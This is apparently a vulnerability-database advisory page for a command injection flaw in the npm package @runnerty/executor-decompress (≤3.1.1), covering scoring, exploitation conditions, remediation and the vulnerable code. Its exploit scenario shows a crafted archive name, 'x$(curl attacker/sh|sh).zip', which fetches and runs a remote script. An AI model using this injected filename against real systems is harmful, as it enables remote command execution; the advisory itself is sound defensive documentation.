Skip to main content

@runnerty/executor-decompress CVE-2026-110641

| EUVDEUVD-2026-101269 HIGH
OS Command Injection (CWE-78)
2026-10-14 VulnCheck GHSA-2v4p-6p6r-gr94
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Place archive with crafted name in watched directory
  2. Exploit
    Decompress executor renders name into shell command string
  3. Execution
    shelljs exec() evaluates $() / metacharacters
  4. Impact
    Execute arbitrary commands as Runnerty process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to control the file NAME of an archive that the decompress executor processes - specifically a name containing $() command substitution or unquoted shell metacharacters passed to compress_file, which reaches shelljs exec() via the vulnerable render() template. The deployment must be running @runnerty/executor-decompress at or below 3.1.1 and must route attacker-nameable files (e.g. from a watched/ingested directory or upload workflow) into the decompress task. Limiting factors: the attacker needs the ability to name files in the watched directory (reflected as PR:L), no user interaction is needed, and impact is bounded to the Runnerty process privilege level; if files only arrive via trusted local processes the network attack vector does not realistically apply.

Impact

This is a genuine, actionable OS command injection (CWE-78) rather than an inflated high score, but its practicality hinges on one access precondition. The vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) rates it 8.7 (High) with full confidentiality, integrity and availability loss on the vulnerable system and no scope change. The source-code evidence strongly confirms the flaw: the vulnerable index.js builds shell command strings via a dynamic Function-based render() and runs them through shelljs exec(), so a filename containing $() or shell metacharacters executes with Runnerty process privileges; the fix (PR #7) replaces string templates with execFile() and explicit ARGS arrays, eliminating the shell. The PR:L rating is the key limiter - the attacker must be able to control the NAME of a file placed into a directory the decompress executor processes, so this is not a drive-by remote exploit against an exposed service. No EPSS score, KEV listing, or public POC is present in the input, so there is no public exploit identified at time of analysis and no evidence of active exploitation; the discovery by VulnCheck and the merged patch indicate a credible, well-characterized issue. Note the AV:N rating depends on how files reach the watched directory (e.g. a network upload path); if files only arrive via local processes this is effectively local - verify the deployment's ingestion path.

Exploit ScenarioDerived

An application using @runnerty/executor-decompress (≤3.1.1) watches a directory and auto-decompresses uploaded archives. An attacker who can influence the uploaded file's name submits an archive named like x$(curl attacker/sh|sh).zip; when the executor builds and runs the shell command, the substitution executes arbitrary commands with Runnerty's process privileges. No public exploit code is identified in the provided data, but the flaw is confirmed by the vendor patch diff.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 2.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 14, 2026

OS command injection in Runnerty's @runnerty/executor-decompress package (all versions through 3.1.1) lets an attacker who can control the name of an archive file processed by a compress_file/decompress task execute arbitrary shell commands with the privileges of the Runnerty process. The package builds shell command strings from templates that interpolate the archive filename and then hands them to shelljs exec(), so a filename containing $() command substitution or unquoted shell metacharacters - for example one dropped into a watched or ingested directory - is interpreted by the shell instead of being treated as a literal path. Exploitation requires low-privileged access sufficient to name files in that directory (PR:L) and no user interaction; impact to confidentiality, integrity, and availability is high but is bounded to the Runnerty process's privilege level, and no public exploit code or confirmed active exploitation was identified at time of analysis.

RemediationAI

The vendor fix is the code change in PR https://github.com/runnerty/executor-decompress/pull/7, which replaces the shell-string SCRIPT templates and shelljs exec() calls with argument-array ARGS definitions executed via child_process.execFile; because this is an upstream PR/commit rather than a tagged release, a released patched version cannot be independently confirmed, so consumers should upgrade to the first published version containing that merge (track the repository/release notes for the exact version) or apply the PR/commit to a pinned fork until a release is available. Do not attempt to patch by escaping filenames alone - the durable fix is eliminating the shell, as the upstream change does. If immediate upgrade is not possible, apply compensating controls with their trade-offs: restrict write and rename permissions on any watched/ingested directory so only trusted processes (not unauthenticated or low-privileged users) can choose filenames, since that is the precondition for exploitation and may break legitimate user-driven upload workflows; validate and normalize incoming filenames against a strict allowlist (e.g. reject $, (, ), `, ;, |, &, spaces and newlines before the file reaches the executor), accepting that some legitimate archive names will be refused; run the Runnerty process under a dedicated low-privilege OS account with no access to secrets or broader filesystem paths, which limits but does not eliminate the post-exploitation impact since commands still run as that account; and, if the executor is not required, remove or disable @runnerty/executor-decompress from the Runnerty installation, at the cost of losing automated decompression functionality. Monitoring for unexpected child processes spawned by Runnerty and reviewing the advisory link above for further vendor guidance is also advisable. Note that no public exploit code or confirmed in-the-wild exploitation is known at time of analysis, so prioritization should be based on whether attacker-nameable files reach this executor.

Affected VersionsENISA

@runnerty/executor-decompress 0 ≤3.1.1

Affected Packages

euvd runnerty_executor_decompress no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is a classic OS command injection (CWE-78) rooted in unsafe string interpolation. In the affected code (see index.js lines 26 and 106 in the 1a625bb commit), each supported archive type (tar, tar.gz/tgz, zip, bzip2, rar, 7z, gzip) is implemented as a SCRIPT template string such as 'mkdir -p ${dir} && tar -C ${dir} ${verbose} -xvf "${fileName}"'. The executor's render() helper builds a JavaScript function via new Function and template literals to substitute fileName, dir, and basename into that string, and the resulting command is executed with shelljs exec(), which runs it through a shell. Because the filename is interpolated into a shell command line rather than passed as an argv element, characters like $(), backticks, semicolons, or pipes in the filename are evaluated by the shell. The upstream fix (PR #7) removes render() and shell.exec() entirely, replacing the SCRIPT strings with ARGS functions that return argument arrays and invoking child_process.execFile with the extracted base name, so filenames can never be interpreted as shell syntax. The CPE cpe:2.3:a:runnerty:@runnerty/executor-decompress:*:*:*:*:*:*:*:* reflects that the flaw is version-agnostic across all releases up to and including 3.1.1.

Know when Runnerty Executor Decompress gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Attacker needs the ability to supply a crafted filename to a watched directory (PR:L), no interaction (UI:N), and command execution yields full host impact with no scope change (C/I/A:H, S:U).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

@runnerty/executor-decompress through 3.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted archive file names to compress_file. Attackers who can name a file dropped into a watched directory can inject $() substitutions or unquoted shell metacharacters into shelljs exec() calls, running commands with Runnerty process privileges.

Executive ViewAI

Why It Matters

Runnerty's @runnerty/executor-decompress package, all versions through 3.1.1, contains a high-severity OS command injection flaw that lets a low-privileged user with file-naming access to an ingested directory execute arbitrary commands under the Runnerty process account, potentially disrupting automation and exposing or altering data processed by that service. Because Runnerty may run within build, deployment, or operational pipelines, affected organizations should prioritize remediation even though no public exploit identified at time of analysis. A vendor patch is available.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
2.5%
Top 15% exploitable
Prevalence
Low
niche Runnerty npm executor plugin, limited production footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 2.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: +3
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy